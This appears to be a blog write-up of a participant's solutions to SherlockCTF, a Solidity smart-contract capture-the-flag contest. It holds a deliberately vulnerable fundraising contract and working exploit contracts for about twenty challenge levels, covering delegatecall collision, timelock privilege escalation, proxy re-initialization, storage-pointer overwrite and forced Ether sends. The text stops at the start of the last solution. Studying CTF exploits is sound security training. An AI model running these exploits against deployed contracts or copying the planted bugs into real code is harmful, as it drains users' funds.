Solving SherlockCTF

Overview

SherlockCTF was a collaborative CTF organized by Sherlock and Secureum, for the top 32 participants in february's RACE event. Each participant submitted a CTF level, and for 7 days, the competition was opened. I managed to score 32 points.

This was a great experience overall, I could learn a lot of new concepts and vulnerabilities, but the most important thing: it was fun and I enjoyed it every minute. Big thanks to Rajeev and the Sherlock team!

Info

The complete code for these solutions is at my sherlockctf-solutions github repo.


My submission


There were some restrictions for the submissions:

  • Solidity version >= 0.7.0, no floating Solidity versions.
  • No assembly allowed
  • No levels based on bruteforcing hashes / computational power
  • All called contracts must have been deployed by the level creator

The level I created for the competition can be seen here.

  1// SPDX-License-Identifier: GPL-3.0
  2pragma solidity 0.8.9;
  3
  4import "@openzeppelin/contracts/utils/Address.sol";
  5
  6/*
  7  This fundraising has the following features:
  8    - Anyone can setup a fundraising, for themselves or for others
  9    - The beneficiary can be set only once
 10    - There's a minimum contribution set by the deployer
 11    - There's a target funding set by the deployer
 12    - You can donate in your name, or in the name of others
 13    - You can repent and get back your collaboration, for a fee
 14    - The beneficiary can withdraw the funds:
 15        - Anytime, if the funding goal has been met
 16        - 30 days from the start of the fundraising otherwise
 17    - Anyone can start the funding anytime
 18    - The beneficiary can end the funding by withdrawing the funds
 19*/
 20
 21contract Fundraising {
 22
 23    struct Collaboration {
 24        uint256 amount;
 25        uint256 timestamp;
 26    }
 27
 28    uint256 immutable _minCollab;
 29    uint256 immutable _targetFunds;
 30    uint256 fundingEndDate;
 31    bool fundraisingOpened;
 32
 33    address public beneficiary;
 34    mapping (address => Collaboration) public collaborations;
 35
 36
 37    modifier onlyBeneficiary() {
 38        require (beneficiary == msg.sender, "Not the beneficiary");
 39        _;
 40    }
 41
 42    function getBalance() public view returns(uint256) {
 43        return address(this).balance;
 44    }
 45
 46    constructor (uint256 minCollab, uint256 targetFunds) {
 47        _minCollab = minCollab;
 48        _targetFunds = targetFunds;
 49    }
 50
 51    // You can make anyone the beneficiary of your fundraising,
 52    // but you can't change it once it was set
 53    function setBeneficiary(address newBeneficiary) public {
 54        // The beneficiary can only be set once
 55        require(beneficiary == address(0), "You can't change the beneficiary anymore");
 56
 57        // Since the beneficiary needs to retrieve the funds, it can't be a contract
 58        bool isContract = Address.isContract(newBeneficiary);
 59        require(isContract == false, "The new owner is not valid.");
 60
 61        beneficiary = newBeneficiary;
 62    }
 63
 64    // You need to start the fundraising to begin receiving funds
 65    function startFundraising() public {
 66        require(beneficiary != address(0), "Set the beneficiary first");
 67        fundingEndDate = block.timestamp + 30 days;
 68        fundraisingOpened = true;
 69    }
 70
 71    // Contribute to the fundraising with your own account
 72    function fund() public payable {
 73        require(msg.value > 0, "You have to contribute something");
 74        require(fundraisingOpened, "The fundraising is closed");
 75        require(checkAmount(msg.sender, msg.value), "You can't contribute less than minimum");
 76
 77        // You can fund as many times as you want, as long it's more than the minimum
 78        collaborations[msg.sender].amount += msg.value;
 79        collaborations[msg.sender].timestamp = block.timestamp;
 80    }
 81
 82    // Contribute to the fundraising in the name of someone else's account
 83    function fundAs(address donor) public payable {
 84        require(msg.value > 0, "You have to contribute something");
 85        require(fundraisingOpened, "The fundraising is closed");
 86        require(checkAmount(msg.sender, msg.value), "You can't contribute less than minimum");
 87
 88        // You can fund for others as many times as you want, as long it's more than the minimum
 89        collaborations[donor].amount += msg.value;
 90        collaborations[donor].timestamp = block.timestamp;
 91    }
 92
 93    function checkAmount(address user, uint256 amount) internal view returns(bool v){
 94        v = (collaborations[user].amount + amount >= _minCollab);
 95    }
 96
 97
 98    // Withdraw your funds before the end of the fundraising.
 99    // This means you no longer want to contribute anything to the beneficiary.
100    // However, to prevent abuse, a penalty of 10% of your contribution will be burned.
101    function repent() public {
102        require(fundraisingOpened, "The fundraising is closed");
103        require(collaborations[msg.sender].amount >= _minCollab, "Your collaboration is unable to be refunded");
104
105        uint256 available = (collaborations[msg.sender].amount * 90) / 100;
106        uint256 penalty = collaborations[msg.sender].amount - available;
107
108        // To prevent new repentance, set collaboration to 0
109        collaborations[msg.sender].amount = 0;
110        collaborations[msg.sender].timestamp = 0;
111
112        payable(msg.sender).transfer(available);
113        payable(0x000000000000000000000000000000000000dEaD).transfer(penalty);
114    }
115
116    // Get the results of the fundraising
117    function retrieveFunds() public onlyBeneficiary {
118        // The beneficiary can only retrieve the funds if 30 days have passed, or if the funding target is met
119        require(block.timestamp > fundingEndDate || address(this).balance >= _targetFunds, "The fundraising hasn't finished yet");
120
121        fundraisingOpened = false;
122
123        payable(beneficiary).transfer( address(this).balance );
124    }
125
126    // If for some weird reason an account's contribution is invalid, anyone can send the funds back to the account
127    // The caller gets an incentive of 50% of the returned funds
128    function refundInvalid(address user) public {
129        require(collaborations[user].amount < _minCollab && collaborations[user].amount > 0, "Not an invalid amount");
130
131        // Calculate refund and incentives
132        uint256 toReturn =  collaborations[user].amount / 2;
133        uint256 incentive = collaborations[user].amount - toReturn;
134
135        // Update internal accounting
136        collaborations[user].amount = 0;
137        collaborations[user].timestamp = 0;
138        collaborations[msg.sender].amount += incentive;
139        collaborations[msg.sender].timestamp = block.timestamp;
140
141        // Move the funds
142        payable(user).transfer(toReturn);
143        payable(msg.sender).transfer(incentive);
144    }
145
146    receive() external payable {
147        revert();
148    }
149
150    fallback() external {
151        revert();
152    }
153
154}

It was a simple level that implemented a fundraising contract, where anybody could donate ether, given that the donation is higher than a minimum value configured in the deployed instance. To solve the challenge, the attacker had to find a way to drain all ether deposited in the contract.

When creating the level, I didn't want to fall into well-known vulnerabilities such as reentrancy, uninitialized storage pointers, and such. Also, integer overflows would be easy to find, since using Solidity < 0.8 would have been a big eye-opener. External calls are easily detected by VSCode plugins. So I decided to create an internal accounting bug, not easy to see at first sight, that it would force the attacker read and analyze the contract manually.

The first bug is introduced in the fundAs(address) function. This function was meant for the contract to accept donations on behalf of an address different than msg.sender. The sanity check that reverts when the donation is less than the minimum actually checked against msg.sender's total donated value, instead of checking against address'. This allowed anyone to contribute more than the minimum using fund(), and then call fundAs(address) with a donation below the minimum. The check would pass in that case, and the contract would accept the donation.

Now, the refundInvalid(address) function allows anyone who finds an invalid contribution (that is, less than the minimum value) to get rewarded with 50% of its value. The idea behind this function was to incentivize people to eliminate invalid donations. This had another bug, the main one related to accounting that duplicated the refund. The first refund would go to the internal contribution counter, and the second would be sent as Ether to the calling user.

This had the effect of increasing msg.sender's donation while at the same time decreasing the contract's balance. Playing with these functions allowed the attacker to make the contributions of msg.sender equal to the contract's balance, allowing them to call repent() and empty the contract.

The exploit I created implemented the steps detailed above to withdraw all ether from the fundraising:

 1pragma solidity 0.8.9;
 2
 3import './Fundraising.sol';
 4
 5contract FundraisingAttacker {
 6    
 7    constructor(Fundraising instance) payable {
 8        require(msg.value >= 10000 gwei);
 9        
10        instance.fund{value:1000 gwei}();
11        uint256 amount;
12
13        (amount, ) = instance.collaborations(address(this));
14
15        while(amount < instance.getBalance()) {
16            // Funding as any address will work
17            instance.fundAs{value:(1000 gwei) - 1}(0x000000000000000000000000000000000000dEaD);
18            instance.refundInvalid(0x000000000000000000000000000000000000dEaD);
19            (amount, ) = instance.collaborations(address(this));
20        }
21        instance.repent();
22    }
23    receive() external payable { }
24}

Solved levels


0xmoostorm - Collision Exchange

This challenge deployed two contracts: CollisionExchange and OrderBook. The former implemented the logic needed to deposit and withdraw Ether, while the latter contained the logic to post trades and emit an event.

The flaw was in the postTrade(uint) function of CollisionExchange, as it called the OrderBook instance via a delegate call. The OrderBook contract would then overwrite slots 0 and 1 from CollisionExchange's storage, therefore letting anyone become the owner. Once the attacker owns the contract, it can be emptied via the emergencyWithdraw() function.

The exploit was simple, it consisted in nothing more than calling postTrade(uint) and then emergencyWithdraw().

 1pragma solidity 0.8.7;
 2
 3import "./CollisionExchange.sol";
 4
 5contract OxmoostormAttacker {
 6
 7    constructor(CollisionExchange instance) payable {
 8        instance.postTrade(0);
 9        instance.emergencyWithdraw();
10    }
11
12    receive() external payable { }
13}

Baraa42 - Casino

This one allegedly implemented a Casino-like game. I didn't get to read the contract deeply, because there was an evident fault with the winning logic in Setup.sol.

To solve the level, the condition was to make the Casino instance balance higher than the deposits, plus the prizes, plus the jackpot. However, all those variables started at 0 on deployment, as the contract was not funded by the deployer.

The attack consisted in force-sending Ether to the Casino instance, therefore solving the challenge.

 1pragma solidity 0.8.0;
 2
 3import "./Casino.sol";
 4
 5contract ForceMoney {
 6    address target;
 7
 8    constructor(address t) payable {
 9        require(msg.value > 0);
10        target = t;
11    }
12
13    function die() public {
14        selfdestruct(payable(target));
15    }
16}
17
18contract Baraa42Attacker {
19    constructor(Casino instance) payable {
20        require(msg.value > 0);
21        ForceMoney f = new ForceMoney{value: msg.value}(address(instance));
22        f.die();
23    }
24
25    receive() external payable { }
26}

BowTiedPickle - Padlock

This padlock implementation had 3 tumblers, implemented as independent functions, that were to be "solved" in sequence.

  • The first one required providing the correct password
  • The second one required a msg.value equal to 33
  • The third and last one required that the argument was equal to a constant

At first sight it looked like a simple challenge. After all, the password was hidden in plain sight in line 10 of Setup.sol... was it?

If you see the code on GitHub or any IDE such as VSCode, they will show special unicode characters that are not visible, called Right-to-Left Override and Left-to-Right Override. These special characters and make the writing right-to-left or left-to-right, respectively. So, the password seen in the text file is actually reversed.

Other than that, the attack consisted in calling the pick functions in sequence to unlock the padlock. Note that in my solution, the RTLO and LTRO characters are still present, as I copied the value directly from the Setup contract.

 1pragma solidity 0.8.4;
 2
 3import "./Padlock.sol";
 4
 5contract BowTiedPickleAttacker {
 6    
 7    constructor(Padlock instance) payable {
 8        require(msg.value == 33 wei);
 9
10        instance.pick1(unicode"‮6167209‬");
11        instance.pick2{value: 33 wei}();
12        instance.pick3(0x69420000000000000000000000000000);
13
14        instance.open();
15
16    }
17
18    receive() external payable { }
19}

JustDravee - SheerLocking

An interesting, Sherlock Holmes themed contract with the only objective of playing tricks with your mind. There was no vulnerability, but instead, the whole contract was designed to force the attacker to actually read the code and see what the functions were expecting.

There were 7 unSheerLock functions that were to be called in sequence with arguments that met the conditions for each one. However, I still think Johnny Lee Miller was the best personification of Sherlock.

 1pragma solidity 0.8.4;
 2
 3import "./SheerLocking.sol";
 4
 5contract JustDraveeAttacker {
 6
 7    bytes8 constant key = 0x0100000000000102;
 8    
 9    constructor(SheerLocking instance) payable {
10        
11        instance.unSheerLock1{value: 24725 wei}("Bene", "dict Cumber", "batch is t", "he b", "est", key);
12        instance.unSheerLock2("", "", "ice too. I waited so long for  season 4 :'( ", "Jim Moriarty is n", "", key);
13        instance.unSheerLock3("The Woman", " is Missy", "", "/", "The Master in Doctor Who", key);
14        instance.unSheerLock4("", "", "John Watson had a role in Ali G (Ricky C) ", "", "",  key);
15        instance.unSheerLock5("Henry Cavil", "", "l: Sherlock of Ste", "el and Enola's big bro", "", key);
16        instance.unSheerLock6("Sir Arthur Conan Doy", "le died in 1930, so copyright on Sher", "", "lock Holmes expired in 2000 in the UK", key);
17        instance.unSheerLock7("Jonny Lee M", "iller and Lu", "", "cy Liu were a g", "ood team too!", key);
18
19    }
20
21    receive() external payable { }
22
23}

PeterisPrieditis - StableSwap2

This contract implemented a DEx with the capability of swapping stablecoins, deployed to work with a mocked version of USDC, USDT, and BUSD. The owner of the StableSwap2 is allowed to add more coins to be used, every token is considered to be equally valued at exactly 1 USD, and there's a fixed fee of 0.3% for each swap between coins. The initial balance of the contract is 10000 for each coin, and there's a free-to-use faucet for a limit of 1000 units of USDC.

There's another flaw in Setup.sol, as the totalValue variable in the isSolved() function is overwritten twice, so the real value for the comparison is just the amount of BUSD in the StableSwap2 instance.

The vulnerability lied in the donate(uint256) function, as it uses an uninitialized storage pointer. This allows the attacker to overwrite the owner variable (inherited from Ownable and thus not seen in the contract). Once the attacker becomes the new owner, adding a new token to the swap and extracting the BUSD from the instance will solve the challenge.

 1pragma solidity 0.8.0;
 2
 3import "./Setup.sol";
 4
 5contract PeterisPrieditisAttacker {
 6
 7    constructor(Setup instance) payable {
 8        ERC20 USDC = instance.USDC();
 9        ERC20 BUSD = instance.BUSD();
10        StableSwap2 SSwap = StableSwap2(instance.instance());
11        ERC20PresetFixedSupply solverToken = new ERC20PresetFixedSupply("SolverToken Stablecoin","STKS",100000,address(this));
12        solverToken.transfer(address(SSwap), 10000);
13
14        instance.faucet(1000);
15        USDC.approve(address(SSwap), type(uint256).max);
16
17        uint256[] memory amounts = new uint256[](3);
18        amounts[0] = 1000;
19        amounts[1] = 0;
20        amounts[2] = 0;
21
22        SSwap.mint(amounts);
23        SSwap.donate(1); // Owned
24
25        SSwap.addCollateral(address(solverToken));
26        solverToken.approve(address(SSwap), type(uint256).max);
27        SSwap.swap(address(solverToken), 9995, address(BUSD));
28    }   
29}

Thro77le - Challenge

This challenge had no vulnerability, but instead was meant to make the attacker study how contract deployment works. It reminded me of CaptureTheEther's Fuzzy Identity, so the solution is similar.

The contract required the attacker to deploy a contract to an address that contained the f0b1d hex string somewhere, and that this address was funded at the moment of deployment. This means that the requirement was to pre-calculate a deployment address that met the requirements, and then fund it prior to deploying any contract to it.

I used the following Python script to bruteforce the seed needed to comply with the deployment address' restrictions. The address was hardcoded as I already knew the account I was going to use for deployment, and I got the bytecode for the contract to be deployed (an empty contract) from Remix.

 1from web3 import Web3
 2
 3deployingAddr = "FD4f30C20dA65a37fd74d55B257442a08469e6A6"
 4addrbytes = bytes.fromhex(deployingAddr)
 5bytecode = "6080604052348015600f57600080fd5b50603f80601d6000396000f3fe6080604052600080fdfea264697066735822122051263de48b020bfd029cc7b233b6549029f593de824f0aec76af62fef252447264736f6c63430008040033"
 6           
 7hashbytecode = Web3.keccak(hexstr=bytecode)
 8salt = 1
 9
10header = bytes.fromhex("ff") + addrbytes
11
12while 1:
13    salthex = Web3.toHex(salt)[2:]
14    saltbytes = '0' * (64 - len(salthex)) + salthex
15
16    predicted = Web3.toHex(Web3.keccak( header + bytes.fromhex(saltbytes) + hashbytecode))[-40:]
17
18    if "f0b1d" in predicted:
19        print("0x" + predicted)
20        print(saltbytes)
21        exit()
22    else:
23        salt = salt+1
 1pragma solidity 0.8.4;
 2
 3import "./Challenge.sol";
 4
 5contract EmptyOne {
 6}
 7
 8contract Thro77leAttacker {
 9
10    bytes c = hex"6080604052348015600f57600080fd5b50603f80601d6000396000f3fe6080604052600080fdfea264697066735822122051263de48b020bfd029cc7b233b6549029f593de824f0aec76af62fef252447264736f6c63430008040033";
11    
12    constructor(Challenge instance) payable {
13        require(msg.value >= 0.1 ether);
14
15        bytes memory code = c;
16       
17        payable(0x54b77d402614522EA00064a7f218F1340CF0b1DE).transfer(msg.value);
18        instance.createContract(code, 21199);
19    }
20    receive() external payable { }
21}

agusduha - TheKingIsDeadLongLiveTheKing

This was one of the contracts that took me the longest to figure out how to solve, until I found Santiago Palladino's excellent post of the vulnerability. I didn't know about it before starting the CTF so this is one of the things I learned. At first, the challenge looked like Ethernaut's Level 25: Motorbike, but in this case the proxy owner was not in control of the attacker.

In summary, the KingVault contract is deployed as an UUPS-Upgradeable proxy, and the ownership of that proxy is a self-administered GovernanceTimelock instance. The vulnerability allows the attacker to force the Timelock to execute tasks not allowed bypassing the timeout requirement, by custom crafting a batch call that updates the delay. After that, the attacker can give ADMIN_ROLE to anyone and thus do anything with the contract.

Once the attacker contract has the ADMIN_ROLE for the GovernanceTimelock, it can schedule and execute an action to update the KingVault instance implementation with one containing a selfdestruct call to drain the proxy.

  1pragma solidity 0.8.4;
  2
  3import "./Setup.sol";
  4
  5contract Killer is UUPSUpgradeable {
  6
  7    function attack(address gt, address att) public {
  8        GovernanceTimelock g = GovernanceTimelock(payable(gt));
  9
 10        address[] memory batch1_addresses = new address[](4);
 11        uint256[] memory batch1_values = new uint256[](4);
 12        bytes[] memory batch1_calldata = new bytes[](4);
 13
 14        g.grantRole(keccak256("PROPOSER_ROLE"), address(this));
 15
 16        //Batch 1
 17        //First call to updateDelay
 18        batch1_addresses[0] = address(gt);
 19        batch1_values[0] = 0;
 20        batch1_calldata[0] = abi.encodeWithSignature("updateDelay(uint64)", uint64(0));
 21
 22        //Then call to grantrole
 23        batch1_addresses[1] = address(gt);
 24        batch1_values[1] = 0;
 25        batch1_calldata[1] = abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("ADMIN_ROLE"), address(this));
 26
 27        batch1_addresses[2] = address(gt);
 28        batch1_values[2] = 0;
 29        batch1_calldata[2] = abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("ADMIN_ROLE"), address(att));
 30
 31        //Last call to relay the attack to the contract
 32        batch1_addresses[3] = address(this);
 33        batch1_values[3] = 0;
 34        batch1_calldata[3] = abi.encodeWithSignature("attack(address,address)", address(gt), address(att));
 35
 36        g.schedule(batch1_addresses, batch1_values, batch1_calldata, 0);
 37
 38    }
 39
 40    function kill() public {
 41        selfdestruct(payable(address(0)));
 42    }
 43
 44    function _authorizeUpgrade(address newImplementation) internal override {}
 45}
 46
 47contract agusduhaAttacker {
 48
 49    KingVault kv;
 50    KingVault kvp;
 51    GovernanceTimelock gt;
 52
 53    address[] batch1_addresses;
 54    uint256[] batch1_values;
 55    bytes[] batch1_calldata;
 56
 57    address[] batch2_addresses;
 58    uint256[] batch2_values;
 59    bytes[] batch2_calldata;
 60
 61    constructor(address inst) payable {
 62        kv = Setup(inst).kingVault();
 63        kvp = KingVault(address(Setup(inst).instance()));
 64        gt = GovernanceTimelock(payable(kvp.owner()));
 65        Killer k = new Killer();
 66
 67        //Batch 1
 68        //First call to updateDelay
 69        batch1_addresses.push(address(gt));
 70        batch1_values.push(0);
 71        batch1_calldata.push(abi.encodeWithSignature("updateDelay(uint64)", uint64(0)));
 72
 73        //Then call to grantrole
 74        batch1_addresses.push(address(gt));
 75        batch1_values.push(0);
 76        batch1_calldata.push(abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("ADMIN_ROLE"), address(k)));
 77
 78        batch1_addresses.push(address(gt));
 79        batch1_values.push(0);
 80        batch1_calldata.push(abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("ADMIN_ROLE"), address(this)));
 81
 82        //Last call to relay the attack to the contract
 83        batch1_addresses.push(address(k));
 84        batch1_values.push(0);
 85        batch1_calldata.push(abi.encodeWithSignature("attack(address,address)", address(gt), address(this)));
 86
 87        //Call
 88        gt.execute(batch1_addresses, batch1_values, batch1_calldata, 0);
 89        gt.grantRole(keccak256("PROPOSER_ROLE"), address(this));
 90
 91        batch2_addresses.push(address(kvp));
 92        batch2_values.push(0);
 93        batch2_calldata.push(abi.encodeWithSignature("upgradeToAndCall(address,bytes)", address(k), hex"41c0e1b5"));
 94
 95        gt.schedule(batch2_addresses, batch2_values, batch2_calldata, 0);
 96        gt.execute(batch2_addresses, batch2_values, batch2_calldata, 0);
 97
 98    }
 99    receive() external payable { }
100}

bahurum - Inflation

The contract implements an inflationary token that mints some percentage of the total supply every 2 operations. These operations include minting, burning, or transferring tokens. The goal is to empty the instance's balance.

At first sight there's nothing vulnerable in the contract, and since the token mints, the balance is ever increasing. However, there's a bug in the burnFrom(address,uint256) implementation that calls _spendAllowance(address,address,uint256) with the wrong argument order. This allows to burn tokens on behalf of the instance. However, since the contract mints in the burnFrom(address,uint256) call, the function has to be called twice.

 1pragma solidity 0.8.4;
 2
 3import "./Setup.sol";
 4
 5contract bahurumAttacker {
 6    
 7    constructor(Inflation instance) payable {
 8        InflationaryToken(instance.tokenAddress()).approve(address(instance), 5000);
 9        InflationaryToken(instance.tokenAddress()).burnFrom(address(instance), 1000);
10        InflationaryToken(instance.tokenAddress()).burnFrom(address(instance), 100);
11    }
12    receive() external payable { }
13}

band0x - BecomeMaster

The contract has two roles: admin and master. master gets initialized to the Setup contract upon deployment, and the goal to beat the level is to change the master and empty the instance balance. There are two convenient functions for these actions: takeMasterRole() that only the admin can call, and collectAllocations, that only the master can call. Also there's another convenient function to become admin, called allocate().

The contract uses tx.origin to validate the addresses, and some functions implement a modifier that allows them to be called from contracts. However, the solution was simple enough.

 1pragma solidity 0.8.11;
 2
 3import "./BecomeMaster.sol";
 4
 5contract band0xAttacker {
 6    
 7    constructor(BecomeMaster instance) payable {
 8        instance.allocate();
 9        instance.takeMasterRole();
10        instance.collectAllocations();
11    }
12    receive() external payable { }
13}

chaboo - SwissTreasury

This challenge implements the same vulnerability as agusduha, but way better hidden. In fact, the author used an old version of an OpenZeppelin library that still had the bug, so it was a bit difficult to test locally without knowing this detail. Checking the verified contracts on Etherscan showed the bug is present and the exploit is similar to agusduha's. Definitely evil.

 1pragma solidity 0.8.4;
 2
 3import "./Setup.sol";
 4
 5contract Helper {
 6
 7    function attack(address inst, address exp) public {
 8        
 9        TimelockController tc = TimelockController(payable(inst));
10
11        address[] memory batch1_addresses = new address[](4);
12        uint256[] memory batch1_values = new uint256[](4);
13        bytes[] memory batch1_calldata = new bytes[](4);
14
15        tc.grantRole(keccak256("PROPOSER_ROLE"), address(this));
16
17
18        //Batch 1
19        //First call to updateDelay
20        batch1_addresses[0] = address(inst);
21        batch1_values[0] = 0;
22        batch1_calldata[0] = abi.encodeWithSignature("updateDelay(uint256)", uint256(0));
23
24        //Then call to grantrole
25        batch1_addresses[1] = address(inst);
26        batch1_values[1] = 0;
27        batch1_calldata[1] = abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("TIMELOCK_ADMIN_ROLE"), address(this));
28
29        batch1_addresses[2] = address(inst);
30        batch1_values[2] = 0;
31        batch1_calldata[2] = abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("TIMELOCK_ADMIN_ROLE"), address(exp));
32
33        //Then call to relay the attack to the contract
34        batch1_addresses[3] = address(this);
35        batch1_values[3] = 0;
36        batch1_calldata[3] = abi.encodeWithSignature("attack(address,address)", address(inst), address(exp));
37
38        tc.scheduleBatch(batch1_addresses, batch1_values, batch1_calldata, 0, 0, 0);
39
40    }
41
42}
43
44contract chabooAttacker {
45
46    address[] batch1_addresses;
47    uint256[] batch1_values;
48    bytes[] batch1_calldata;
49
50    address[] batch2_addresses;
51    uint256[] batch2_values;
52    bytes[] batch2_calldata;
53
54    constructor(address inst) payable {
55        Helper h = new Helper();
56
57        //Batch 1
58        //First call to updateDelay
59        batch1_addresses.push(address(inst));
60        batch1_values.push(0);
61        batch1_calldata.push(abi.encodeWithSignature("updateDelay(uint256)", uint256(0)));
62
63        //Then call to grantrole
64        batch1_addresses.push(address(inst));
65        batch1_values.push(0);
66        batch1_calldata.push(abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("TIMELOCK_ADMIN_ROLE"), address(h)));
67
68        batch1_addresses.push(address(inst));
69        batch1_values.push(0);
70        batch1_calldata.push(abi.encodeWithSignature("grantRole(bytes32,address)", keccak256("TIMELOCK_ADMIN_ROLE"), address(this)));
71
72        //Then call to relay the attack to the contract
73        batch1_addresses.push(address(h));
74        batch1_values.push(0);
75        batch1_calldata.push(abi.encodeWithSignature("attack(address,address)", address(inst), address(this)));
76
77        //Call
78        TimelockController(payable(inst)).executeBatch(batch1_addresses, batch1_values, batch1_calldata, 0, 0);
79        TimelockController(payable(inst)).grantRole(keccak256("PROPOSER_ROLE"), address(this));
80
81        address target = address(inst);
82        uint256 value = 0;
83        bytes memory call_data = abi.encodeWithSignature("distributeFunds(address,uint256)", address(tx.origin), 1 ether);
84
85        TimelockController(payable(inst)).schedule(target, value, call_data, 0, 0, 0);
86        TimelockController(payable(inst)).execute(target, value, call_data, 0, 0);
87
88    }
89
90    receive() external payable { }
91
92}

ebaizel - PixelPavel

This one also falls in the educational challenges. In this case, the lesson is about abi encodings and argument passing to functions. The crackCode(uint8) function expects a uint8 as argument, however, the body of the function reads the msg.data (that is, the data passed to the function called) as bytes32 and compares it to an uint256 constant.

The exploit consists in manually crafting the msg.data such that when read as an uint8 the value is equal to 42, and when read as bytes32 the value is equal to the bytes32 representation of 298. It helps that 42 and 298 differ only in the ninth bit, but the concept can be applied to any values that share the lowest 8 bits.

 1pragma solidity 0.7.6;
 2
 3import "./PixelPavel.sol";
 4
 5contract ebaizelAttacker {
 6    
 7    constructor(PixelPavel instance) public payable {
 8        bytes memory data = abi.encodePacked(bytes4(0xa4e0b0eb), bytes32(0x000000000000000000000000000000000000000000000000000000000000012a));
 9        (bool success, ) = address(instance).call(data);
10        require(success);
11    }
12
13    receive() external payable { 
14    }
15
16}

hack3r-0m - BitMania

This is an implementation of AdventCTF 2014's XOR challenge. The decoder was similar to this one.

 1pragma solidity 0.8.4;
 2
 3import "./BitMania.sol";
 4
 5contract hack3r0mAttacker {
 6    
 7    constructor(BitMania instance) payable {
 8        instance.solveIt("SHERLOCK_CTF_0x0_WINNER_333");
 9    }
10
11    receive() external payable { }
12}

iflp - ExampleQuizExploit (default name for the template)

This contract implemented a random number generator in one contract, and a guessing game in another. The goal was to guess the correct number. The deployed instance of Lollercoaster was not known, but it was easy to find out in the Setup contract deployment transaction.

The solution was as simple as calling the RNG by address, since the random number is constant for the block.

 1
 2pragma solidity 0.7.0;
 3
 4import "./ExampleQuizExploit.sol";
 5
 6contract iflpAttacker {
 7    
 8    function attack(ExampleQuizExploit instance) public payable {
 9        require(msg.value == 1 ether);
10        instance.guess{value: 1 ether}(Lollercoaster(0x25Be61724B64117DC9aC9DDd2A06B7DEc052D5cb).randInt(1000000));        
11    }
12    receive() external payable { }
13}

johngish - Challenge

The contract implemented another guess game, with the solution not hidden at all. Once the solution is known, the contract delegatecalls msg.sender's receive() function. The goal was to deplete the instance's balance.

The solution consists in creating a contract with a receive() function that transfers the balance out of the instance.

 1pragma solidity 0.8.4;
 2
 3import "./Challenge.sol";
 4
 5contract johngishAttacker {
 6    
 7    function attack(Challenge instance) public payable {
 8        require(msg.value == 100 wei);
 9        instance.guess{value: 100 wei}(42);
10    }
11    receive() external payable { 
12        payable(tx.origin).transfer(address(this).balance);
13    }
14}

kankan-0 - Dead

The goal is to empty the instance's balance. The function that implements the funds transfer needs the caller to be the killer. To become the killer, the caller has to have a balance higher than the fee, but nobody can make deposits valued 0.1 ether or more. Prior to that, the timeToKill flag must be set, and the caller must be registered in the contract.

The solution is to read the previous paragraph in the reverse order. First set the flags, then deposit until the caller becomes killer, then call the function to withdraw the funds. Good news: the fee contract variable equal to 1000 ether is shadowed in the becomeKiller() function, so the actual funds needed are not that high.

 1pragma solidity 0.7.4;
 2
 3import "./Dead.sol";
 4
 5contract kankan0Attacker {
 6    
 7    constructor(Dead instance) payable {
 8        require(msg.value > 0.65 ether);
 9        instance.register{value: 0.01 ether}();
10        instance.canKill();
11        for(uint8 i = 0; i < 6; i++) {
12            instance.becomeKiller{value:0.099 ether}();
13        }
14        instance.kill();
15    }
16
17    receive() external payable { }
18
19}

kuldeep23907 - Challenge

The challenge implements a function called callSloganContract(bytes) that allows the caller to call a function on a Slogan contract. This Slogan contract is actually a ERC1967 proxy whose initialize(address,bytes) function lacks the initializer modifier. That means anyone can call the function again, even if it has been already initialized, and upgrade it to proxy an existing contract.

The solution is to create a contract that will be used as the new implementation for the proxy, where there's a function to empty the proxy's balance.

 1pragma solidity 0.8.4;
 2
 3import "./Setup.sol";
 4
 5contract kuldeepAttacker {
 6
 7    Challenge instance;
 8
 9    constructor(Challenge inst) payable {
10        instance = inst;
11    }
12    
13    function solve() public {
14        instance.callSloganContract(abi.encodeWithSignature("initialize(address,bytes)", address(this), hex"9e5faafc"));
15    }
16
17    function attack() public {
18        payable(msg.sender).transfer(address(this).balance);
19    }
20
21    receive() external payable { 
22    }
23}

mhchia - CrowdFunding

A crowdfunding contract where you can start and stop campaigns, and get a refund for the whole balance of the instance. To get a refund for a campaignID, the caller should not be the campaign owner, and the caller has to be funderID for the campaign.

The bug lies in the stopCampaign(uint) function, because it cleans the campaignID, but not the funders for it. That means that if the campaign is closed, any funder can get refunded for an amount equal to the whole balance.

 1pragma solidity 0.8.4;
 2
 3import "./CrowdFunding.sol";
 4
 5contract mhchiaAttacker {
 6    
 7    constructor(CrowdFunding instance) payable {
 8        require(msg.value > 2 wei);
 9        instance.startCampaign{value: 1 wei}();
10        instance.stopCampaign(0);
11        instance.getRefund{value: 1 wei}(0, 0);
12    }
13
14    receive() external payable { }
15
16}

naps62 - BuiltByANoob

The goal is to make the won() function of the contract return true. That means the _toInt() function should return 71764438432, and writes must be greater than 4. For the first condition, memo should contain the bytes representation of the integer constant. For the second condition, writes gets incremented everytime any of write0() or write255() is called.

The solution, then, lies in building the bytes needed by calling write0(), setHalfByte(bytes1) and shiftLeft(uint8) as needed. The rest of the code was decoration to distract the attacker.

 1pragma solidity 0.7.2;
 2
 3import "./BuiltByANoob.sol";
 4
 5contract naps62Attacker {
 6
 7    uint8[] values = [0x01, 0x00, 0x0b, 0x05, 0x07, 0x0e, 0x06, 0x0d, 0xa, 0x00];
 8   
 9    constructor(BuiltByANoob instance) payable {
10        
11        instance.write0();        
12
13        for(uint i = 0; i < values.length/2; i++) {
14            bytes1 n1 = bytes1(values[2*i]);
15            bytes1 n2 = bytes1(values[2*i+1]);
16
17            instance.write0();
18            instance.setHalfByte(n1);
19            instance.shiftLeft(4);
20            instance.setHalfByte(n2);
21        }
22    }
23    receive() external payable { }
24}

saianmk - Combination

I solved this challenge using a pen and a paper, backtracking from cam3Val back to cam1Val what values should be dialed in to obtain the desired ones. No on-chain solution here, sorry!

 1pragma solidity 0.8.4;
 2
 3import "./Combination.sol";
 4
 5contract saianmkAttacker {
 6    
 7    constructor(Combination instance) payable {
 8        instance.dial(7, true);
 9        instance.dial(7, false);
10        instance.dial(1, true);
11        instance.unlock(0x4b);
12    }
13
14    receive() external payable { }
15
16}

sidduHERE - ExampleQuizExploit (default name for the template)

This contract has a textbook reentrancy vulnerability, so the solution is a textbook reentrancy exploit :)

 1pragma solidity 0.8.4;
 2
 3import "./ExampleQuizExploit.sol";
 4
